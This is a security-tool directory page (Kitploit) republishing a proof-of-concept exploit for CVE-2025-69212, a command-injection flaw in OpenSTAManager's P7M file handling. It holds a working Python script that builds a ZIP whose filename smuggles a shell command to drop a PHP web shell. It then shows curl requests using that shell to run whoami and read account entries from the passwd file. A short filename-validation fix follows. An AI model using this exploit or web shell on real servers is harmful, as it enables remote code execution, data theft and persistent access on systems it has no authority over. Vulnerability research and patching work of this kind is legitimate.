Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
OpenSTA-Exploit — Proof of Concept (PoC) of CVE-2025-69212 related with P7M File Processing | Kitploit
도구/GitHubGitHub/lolw0/opensta-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHublolw0/opensta-exploit

OpenSTA-Exploit

Proof of Concept (PoC) of CVE-2025-69212 related with P7M File Processing

저장소 보기
215일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

OpenSTA-Exploit

image

DataDetail
CVE IDCVE-2025-69212
Vuln Scorecritical (9.4)
CWE78: Improper Neutralization of Special Elements used in an OS Command
Affected VersionsOpenSTAManager <= 2.9.8
Attack vectorupload a ZIP file containing a .p7m file with malicious filename
AuthRequired
Impactexecute arbitrary system commands on the server

Exploit explanation

  1. Stores a shell command in the variable cmd (which does create a file called SHELL.php containing PHP code that can execute commands).
  2. Builds a specially filename hiding the command from cmd variable and saves in malicious_file variable.
  3. Creates a new ZIP file called exploit.zip and opens it for writing.
  4. Adds a file to the ZIP. Its filename is the malicious_file variable.
  5. Malicious filename is injected into the exec() command.

PoC (Proof of Concept)

1. Create zip file to inject

root@kitploit:~
import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Exec file & upload

root@kitploit:~
lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
image

image

3. Exploit result

XML parsing fails after command execution

root@kitploit:~
HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. Verification & remote code execution

root@kitploit:~
lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin



Leads to...


Fix

**a simple fix is to validate filenames before processing (Only allow alphanumeric, dots, dashes and underscores to skip invalid filenames)

root@kitploit:~
foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(or you can simply update lol)

도구 다운로드
AttackDetail
Remote Code ExecutionFull server compromise with command execution
Data ExfiltrationAccess to all application data and database
Privilege EscalationPotential escalation if web server runs with elevated privileges or is vulnerable
PersistenceInstall backdoors and maintain access in time
Lateral MovementPivot to other systems/users on the network